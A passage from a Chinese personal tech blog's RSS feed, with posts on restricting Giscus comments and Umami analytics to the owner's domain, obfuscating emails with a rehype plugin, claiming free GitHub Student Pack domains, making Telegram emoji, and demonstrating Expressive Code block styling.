</content:encoded></item><item><title>你是我吗?</title><link>https://blog.acofork.com/posts/you-is-me-huh/</link><guid isPermaLink="true">https://blog.acofork.com/posts/you-is-me-huh/</guid><description>博客开源了就会有很多小笨蛋Fork完改也改不全导致评论也评论到我这来了浏览量统计也来我这来了😅</description><pubDate>Tue, 12 Aug 2025 15:43:18 GMT</pubDate><content:encoded>&lt;h1&gt;前情提要&lt;/h1&gt;
&lt;p&gt;今天收到一封小邮件&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-15-45-18-image.Bfi_hNae.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;我一眼就看出来了&lt;/p&gt;
&lt;p&gt;有人Fork完我的仓库但是Giscus评论区没改成自己的。&lt;/p&gt;
&lt;h1&gt;Giscus仅允许自己&lt;/h1&gt;
&lt;p&gt;在启用了Giscus的仓库放一个文件&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- giscus.json --&amp;gt;
{
&quot;origins&quot;: [&quot;https://2x.nz&quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;这样设置后,即使有人在它的网站上引入了&lt;strong&gt;你的评论区&lt;/strong&gt;,也会被拒绝显示&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-15-48-23-image.JuSW_HPl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;Umami仅允许自己&lt;/h1&gt;
&lt;p&gt;我博客有一个浏览量统计基于Umami之前是没鉴权的如果你啥也不改访问你的网站也会记到我网站上😅&lt;/p&gt;
&lt;p&gt;Umami并没有给配置来更改CORS毕竟这个访问量统计是我逆向出来的&lt;/p&gt;
&lt;p&gt;但是我的Umami套了EO我可以直接写一套CORS规则仅允许自己调用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-15-50-25-image.B8mkYiI2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这样的话即使你啥也不改也不会把错误的统计信息发到我这会报错CORS头不允许&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-12-15-51-04-image.C1kuIbm0.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h1&gt;最后&lt;/h1&gt;
&lt;p&gt;开源是为了让大家更好的学习我的博客框架不是让你照搬请确认将所有内容、API端点、私有服务全部改为自己的后再上线&lt;/p&gt;
&lt;p&gt;你要是懒可以Fork&lt;a href=&quot;https://github.com/saicaca/fuwari&quot;&gt;上游原仓库&lt;/a&gt;从白纸开始&lt;a href=&quot;/posts/fuwari/&quot;&gt;&lt;/a&gt;&lt;/p&gt;
</content:encoded></item><item><title>通过邮件混淆技术增强博客隐私</title><link>https://blog.acofork.com/posts/email-privacy/</link><guid isPermaLink="true">https://blog.acofork.com/posts/email-privacy/</guid><description>利用 rehype-email-protection 插件自动混淆电子邮件地址,保护免受垃圾邮件爬虫侵害的技术实现</description><pubDate>Tue, 12 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文非站长原创,由 https://github.com/afoim/fuwari/pull/31 提供&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;背景&lt;/h2&gt;
&lt;p&gt;在网页上直接暴露电子邮件地址,会使其极易受到垃圾邮件机器人的自动抓取。为了解决这一隐私和安全问题,可以采用邮件地址混淆技术。&lt;/p&gt;
&lt;p&gt;在提交 &lt;code&gt;0cc6194f35b3ff4ab53718fd98022b17ac522303&lt;/code&gt; 中,项目引入了 &lt;code&gt;rehype-email-protection&lt;/code&gt; 插件来应对此问题。&lt;/p&gt;
&lt;h2&gt;技术方案:&lt;code&gt;rehype-email-protection&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;&lt;code&gt;rehype-email-protection&lt;/code&gt; 是一个 Rehype 插件,它能在网站内容处理流程中自动识别并混淆电子邮件地址。&lt;/p&gt;
&lt;h3&gt;配置实现&lt;/h3&gt;
&lt;p&gt;该功能通过在 &lt;code&gt;astro.config.mjs&lt;/code&gt; 文件中进行配置来启用。&lt;/p&gt;
&lt;p&gt;首先,导入插件模块:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import rehypeEmailProtection from &quot;./src/plugins/rehype-email-protection.mjs&quot;;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后,在 Astro 配置的 &lt;code&gt;rehypePlugins&lt;/code&gt; 数组中添加该插件,并指定 &lt;code&gt;base64&lt;/code&gt; 作为混淆方法。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;markdown: {
rehypePlugins: [
// ... 其他插件
[rehypeEmailProtection, { method: &quot;base64&quot; }],
// ... 其他插件
],
},
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;工作机制&lt;/h3&gt;
&lt;p&gt;配置生效后,内容中所有标准的电子邮件地址(如 &lt;code&gt;user@example.com&lt;/code&gt;)在网站构建过程中,都会被转换为 Base64 编码的字符串,并通过客户端 JavaScript 进行解码。&lt;/p&gt;
&lt;p&gt;对于普通用户,浏览器会执行脚本将编码还原为可交互的 &lt;code&gt;mailto:&lt;/code&gt; 链接,功能体验不变。而对于无法执行 JavaScript 的网络爬虫,它们只能获取到编码后的无意义字符串,从而达到了保护电子邮件地址不被轻易收集的目的。&lt;/p&gt;
&lt;h2&gt;结论&lt;/h2&gt;
&lt;p&gt;集成 &lt;code&gt;rehype-email-protection&lt;/code&gt; 插件是一种简单而有效的隐私增强手段。它以极低的配置成本,显著降低了因在公开网页上暴露电子邮件地址而导致的安全风险,是静态网站开发中值得推荐的一个实践。&lt;/p&gt;
&lt;p&gt;引流www.497995.xyz 树树放过我😭😭&lt;/p&gt;
</content:encoded></item><item><title>我去GithubEdu还能再再再嫖俩免费一年域名</title><link>https://blog.acofork.com/posts/ghedu-free-name/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ghedu-free-name/</guid><description>也是依旧在群u的帮助下又捞了俩米</description><pubDate>Mon, 11 Aug 2025 23:04:10 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub 学生开发者包 - GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;往下滚动 找到&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-05-40-107c27403a989dddcdd101180ee13509.Bdv8v17M.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击登录并验证你的学生身份&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-05-55-72bea2d54c200e08fa652d3997adcf06.CYuOJohL.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;短域名也有免费的!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-06-11-e4fe0a62548c9c69d32cb2a79176a52b.CUv8x0CJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;长域名更是不在话下!&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-06-23-b45ebff5a8fe5214bb0291d77cb3fa1e.CzBrbT5U.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;但是最终结账的时候只能免费&lt;strong&gt;两个&lt;/strong&gt;域名哦~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-06-43-e67a6d8837878e07ef1b2bb5b8cb4d11.DMAAzGm8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;需要绑卡验证扣0.00元。Bybit虚拟卡可用&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-07-06-bfaade641dbd1c125301195d4ad28bed.DEn3MxXk.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-07-10-bdd91d31b4c3c388555faad961924cc0.B67ulOTn.jpg&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;等待跑进度条~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-07-39-ea95cc5fbfc9ac8fcec2f90614d49d6a.5va6bTGP.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来老生常谈的改NS到Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-07-56-85434553c9304a3f0a0ccc10accbef01.DnTiR5Pr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-08-01-bd48e80dafba30f3e4a98a6bcae3f04e.msV9quTh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-08-05-6ae9ce6c4cc5332003ac8101653477b7.2erY6_8x.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功激活~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-23-08-13-6ceb145115731817f2738c711359dc3f.CvmlvRGT.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>wow有GithubEdu资格再嫖一个免费一年的.me域名</title><link>https://blog.acofork.com/posts/ghedu-free-me/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ghedu-free-me/</guid><description>在群u的提醒下发现除了.tech还能再嫖一个米~</description><pubDate>Mon, 11 Aug 2025 22:37:55 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;请先通过&lt;a href=&quot;/posts/github-edu/&quot;&gt;这篇文章&lt;/a&gt;拿到Github Edu~&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub 学生开发者包 - GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;往下滚直到找到这个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-40-15-747b62efa69a5b34182a68ac4c7130cb.C95MVNS1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击这里&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-40-31-image.CYBLVVxN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;进行Github授权&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-40-48-5e092849ebad203968bd801ad2d4534a.CRQLB_sn.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;成功验证学生资格咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-41-00-703f88997e8c2281f2a473e03a19a061.DlvbtUyN.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;选一个你喜欢的 .me 域名然后加入购物车FREE&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-41-21-0a5f5a19e86e622f923b2ca7ec2d0a1e.D94s_DYJ.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;勾上Github Page填上你的Github邮箱&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-41-48-1812c773c7f4044f2705f565dfb443bc.BZDbzoZV.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来登录使用Github邮箱注册的号没有号就注册一个&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-42-19-b6c04a5c6d9c66e729c54d9f66c2ef44.RaY41u8l.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;完成订单咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-42-33-8b2edf1503f41426c60a0218c87b8ae5.C_dalTs_.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在控制台将NS转到Cloudflare&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-42-47-5a59c356ad54788f34f0cfee2428853b.B7GQ-4dp.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-42-52-dcbcc938cbfaaade3d7a98538af3a26a.BkU4qQ0K.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-42-56-de9a3668c84d4209aa997c643711befb.Dz7OxVTj.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;NameCheap的NS传播似乎有些慢等等咯~&lt;/p&gt;
&lt;p&gt;半小时后有咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-22-54-37-image.CPLcw1_W.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>有Github Education来嫖一年免费的.tech域名</title><link>https://blog.acofork.com/posts/ghedu-free-tech/</link><guid isPermaLink="true">https://blog.acofork.com/posts/ghedu-free-tech/</guid><description>昨天也是成功通过了Github Edu验证发现可以白嫖一年免费的.tech域名</description><pubDate>Mon, 11 Aug 2025 21:45:08 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;请先通过&lt;a href=&quot;/posts/github-edu/&quot;&gt;这篇文章&lt;/a&gt;拿到Github Edu~&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;然后前往 &lt;a href=&quot;https://education.github.com/pack&quot;&gt;GitHub Student Developer Pack - GitHub Education&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;一直往下滚,直到找到 .tech 字样的项目,点击蓝色链接进入&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-49-27-image.BQH-HSNr.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;输入域名,然后添加到购物车&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-50-09-image.BFHGjK8X.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击结账&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-50-20-image.BtJdcvAu.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;在这里登录Github账户我已经免费拿一个了所以拿不了噜~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-51-05-image.B8aHEVo7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;不出意外你的Total应该是0点击就购买成功&lt;/p&gt;
&lt;hr /&gt;
&lt;p&gt;接下来来到 https://controlpanel.tech/&lt;/p&gt;
&lt;p&gt;登录你的账户&lt;/p&gt;
&lt;p&gt;输入你的域名并跳转到控制台&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-53-59-image.DhQuGy0B.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;改NS到Cloudflare~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-54-26-image.vafc2fnz.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;当当当当~&lt;/p&gt;
&lt;p&gt;激活咯~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-54-51-db66a30e7c1fa897656df0c4e0d90390.DwLqDgfG.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>教你制作自己的Telegram Emoji</title><link>https://blog.acofork.com/posts/tg-emoji/</link><guid isPermaLink="true">https://blog.acofork.com/posts/tg-emoji/</guid><description>欧呦不赖开了个大会员终于可以戴上Netlify的表情咯~</description><pubDate>Mon, 11 Aug 2025 21:22:46 GMT</pubDate><content:encoded>&lt;h1&gt;正式开始&lt;/h1&gt;
&lt;blockquote&gt;
&lt;p&gt;本文讲述的是添加TG的Emoji不是贴纸&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;准备若干张 PNG或WEBP100x100 px的图片&lt;/p&gt;
&lt;p&gt;然后找到 @Stickers&lt;/p&gt;
&lt;p&gt;发送 &lt;code&gt;/newemojipack&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-28-30-image.CeJRDSdh.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;这里使用静态表情,即 &lt;code&gt;static&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-28-53-image.CZmllZq8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来随便起个名字,我这里就叫 &lt;code&gt;Logo&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;然后发送你的图片&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-29-20-image.Bj61vR7k.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;接下来发送一个能代表你表情的Emoji并且发布&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-30-19-image.fTOgbH9s.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;然后设置一个 &lt;code&gt;pathname&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-30-37-image.C5Q2pr8W.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击上面的链接就可以添加咯~&lt;/p&gt;
&lt;p&gt;如果你是Telegram Premium还可以挂在昵称旁边哦~&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;https://blog.acofork.com/_astro/2025-08-11-21-31-21-image.BZKEwznl.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
</content:encoded></item><item><title>Expressive Code 记录</title><link>https://blog.acofork.com/posts/expressive-code/</link><guid isPermaLink="true">https://blog.acofork.com/posts/expressive-code/</guid><description>如何使用Expressive Code 代码块及迁移踩坑记录</description><pubDate>Mon, 11 Aug 2025 00:00:00 GMT</pubDate><content:encoded>&lt;blockquote&gt;
&lt;p&gt;本文非站长原创,由 &lt;a href=&quot;https://github.com/afoim/fuwari/pull/27&quot;&gt;Expressive code by yCENzh · Pull Request #27 · afoim/fuwari&lt;/a&gt; 提供&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;:::note
原文链接:&lt;a href=&quot;https://14131413.xyz/posts/default/expressive-code/&quot;&gt;Expressive Code Example&lt;/a&gt;
:::&lt;/p&gt;
&lt;blockquote&gt;
&lt;h3&gt;踩坑&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;首先按照fuwari原仓库commit进行修改,发现ac没推上去,构建第一次失败&lt;/li&gt;
&lt;li&gt;推完ac后发现在ec中引用了三个插件,但是pnpm astro add并没有自动安装,第二次修改&lt;/li&gt;
&lt;li&gt;现在正常跑起来了,但是由于2x主题的原因,样式很奇怪,再改一次&lt;/li&gt;
&lt;li&gt;这下正常了,推pr去&lt;/li&gt;
&lt;li&gt;没错我又回来了,滑块样式有问题,什么奇奇怪怪的圆角对不齐,干脆调小圆角&lt;/li&gt;
&lt;li&gt;应该是这个pr最后一次提交了,合并上游8个commit,不愧是劳模2x&lt;/li&gt;
&lt;li&gt;去tm的ANSI&lt;/li&gt;
&lt;/ol&gt;
&lt;/blockquote&gt;
&lt;p&gt;Here, we&apos;ll explore how code blocks look using &lt;a href=&quot;https://expressive-code.com/&quot;&gt;Expressive Code&lt;/a&gt;. The provided examples are based on the official documentation, which you can refer to for further details.
在这里,我们将探索使用 &lt;a href=&quot;https://expressive-code.com/&quot;&gt;Expressive Code&lt;/a&gt; 的代码块显示效果。提供的示例基于官方文档,您可以参考该文档获取更多细节。&lt;/p&gt;
&lt;h2&gt;Expressive Code&lt;/h2&gt;
&lt;h3&gt;Syntax Highlighting&lt;/h3&gt;
&lt;h3&gt;语法高亮&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/syntax-highlighting/&quot;&gt;Syntax Highlighting&lt;/a&gt;
&lt;a href=&quot;https://expressive-code.com/key-features/syntax-highlighting/&quot;&gt;语法高亮&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Regular syntax highlighting&lt;/h4&gt;
&lt;h4&gt;常规语法高亮&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;This code is syntax highlighted!&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Editor &amp;amp; Terminal Frames&lt;/h3&gt;
&lt;h3&gt;编辑器与终端框架&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/frames/&quot;&gt;Editor &amp;amp; Terminal Frames&lt;/a&gt;
&lt;a href=&quot;https://expressive-code.com/key-features/frames/&quot;&gt;编辑器与终端框架&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Code editor frames&lt;/h4&gt;
&lt;h4&gt;代码编辑器框架&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;Title attribute example&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!-- src/content/index.html --&amp;gt;
&amp;lt;div&amp;gt;File name comment example&amp;lt;/div&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Terminal frames&lt;/h4&gt;
&lt;h4&gt;终端框架&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;This terminal frame has no title&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;Write-Output &quot;This one has a title!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Overriding frame types&lt;/h4&gt;
&lt;h4&gt;覆盖框架类型&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Look ma, no frame!&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;# Without overriding, this would be a terminal frame
function Watch-Tail { Get-Content -Tail 20 -Wait $args }
New-Alias tail Watch-Tail
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Text &amp;amp; Line Markers&lt;/h3&gt;
&lt;h3&gt;文本与行标记&lt;/h3&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/key-features/text-markers/&quot;&gt;Text &amp;amp; Line Markers&lt;/a&gt;
&lt;a href=&quot;https://expressive-code.com/key-features/text-markers/&quot;&gt;文本与行标记&lt;/a&gt;&lt;/p&gt;
&lt;h4&gt;Marking full lines &amp;amp; line ranges&lt;/h4&gt;
&lt;h4&gt;标记整行与行范围&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// Line 1 - targeted by line number
// Line 2
// Line 3
// Line 4 - targeted by line number
// Line 5
// Line 6
// Line 7 - targeted by range &quot;7-8&quot;
// Line 8 - targeted by range &quot;7-8&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selecting line marker types (mark, ins, del)&lt;/h4&gt;
&lt;h4&gt;选择行标记类型mark, ins, del&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
console.log(&apos;this line is marked as deleted&apos;)
// This line and the next one are marked as inserted
console.log(&apos;this is the second inserted line&apos;)
return &apos;this line uses the neutral default marker type&apos;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Adding labels to line markers&lt;/h4&gt;
&lt;h4&gt;为行标记添加标签&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// labeled-line-markers.jsx
&amp;lt;button
role=&quot;button&quot;
{...props}
value={value}
className={buttonClassName}
disabled={disabled}
active={active}
&amp;gt;
{children &amp;amp;&amp;amp;
!active &amp;amp;&amp;amp;
(typeof children === &apos;string&apos; ? &amp;lt;span&amp;gt;{children}&amp;lt;/span&amp;gt; : children)}
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Adding long labels on their own lines&lt;/h4&gt;
&lt;h4&gt;在独立行添加长标签&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;// labeled-line-markers.jsx
&amp;lt;button
role=&quot;button&quot;
{...props}
value={value}
className={buttonClassName}
disabled={disabled}
active={active}
&amp;gt;
{children &amp;amp;&amp;amp;
!active &amp;amp;&amp;amp;
(typeof children === &apos;string&apos; ? &amp;lt;span&amp;gt;{children}&amp;lt;/span&amp;gt; : children)}
&amp;lt;/button&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Using diff-like syntax&lt;/h4&gt;
&lt;h4&gt;使用类似 diff 的语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;+this line will be marked as inserted
-this line will be marked as deleted
this is a regular line
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;--- a/README.md
+++ b/README.md
@@ -1,3 +1,4 @@
+this is an actual diff file
-all contents will remain unmodified
no whitespace will be removed either
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Combining syntax highlighting with diff-like syntax&lt;/h4&gt;
&lt;h4&gt;结合语法高亮与类似 diff 的语法&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt; function thisIsJavaScript() {
// This entire block gets highlighted as JavaScript,
// and we can still add diff markers to it!
- console.log(&apos;Old code to be removed&apos;)
+ console.log(&apos;New and shiny code!&apos;)
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Marking individual text inside lines&lt;/h4&gt;
&lt;h4&gt;标记行内特定文本&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
// Mark any given text inside lines
return &apos;Multiple matches of the given text are supported&apos;;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Regular expressions&lt;/h4&gt;
&lt;h4&gt;正则表达式&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;console.log(&apos;The words yes and yep will be marked.&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Escaping forward slashes&lt;/h4&gt;
&lt;h4&gt;转义正斜杠&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;echo &quot;Test&quot; &amp;gt; /home/test.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;Selecting inline marker types (mark, ins, del)&lt;/h4&gt;
&lt;h4&gt;选择行内标记类型mark, ins, del&lt;/h4&gt;
&lt;pre&gt;&lt;code&gt;function demo() {
console.log(&apos;These are inserted and deleted marker types&apos;);
// The return statement uses the default marker type
return true;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Collapsible Sections&lt;/h2&gt;
&lt;h2&gt;可折叠部分&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/plugins/collapsible-sections/&quot;&gt;Collapsible Sections&lt;/a&gt;
&lt;a href=&quot;https://expressive-code.com/plugins/collapsible-sections/&quot;&gt;可折叠部分&lt;/a&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;// All this boilerplate setup code will be collapsed
import { someBoilerplateEngine } from &apos;@example/some-boilerplate&apos;
import { evenMoreBoilerplate } from &apos;@example/even-more-boilerplate&apos;
const engine = someBoilerplateEngine(evenMoreBoilerplate())
// This part of the code will be visible by default
engine.doSomething(1, 2, 3, calcFn)
function calcFn() {
// You can have multiple collapsed sections
const a = 1
const b = 2
const c = a + b
// This will remain visible
console.log(`Calculation result: ${a} + ${b} = ${c}`)
return c
}
// All this code until the end of the block will be collapsed again
engine.closeConnection()
engine.freeMemory()
engine.shutdown({ reason: &apos;End of example boilerplate code&apos; })
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Line Numbers&lt;/h2&gt;
&lt;h2&gt;行号&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://expressive-code.com/plugins/line-numbers/&quot;&gt;Line Numbers&lt;/a&gt;
&lt;a href=&quot;https://expressive-code.com/plugins/line-numbers/&quot;&gt;行号&lt;/a&gt;&lt;/p&gt;
&lt;h3&gt;Displaying line numbers per block&lt;/h3&gt;
&lt;h3&gt;按代码块显示行号&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;// This code block will show line numbers
console.log(&apos;Greetings from line 2!&apos;)
console.log(&apos;I am on line 3&apos;)
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;pre&gt;&lt;code&gt;// Line numbers are disabled for this block
console.log(&apos;Hello?&apos;)
console.log(&apos;Sorry, do you know what line I am on?&apos;)
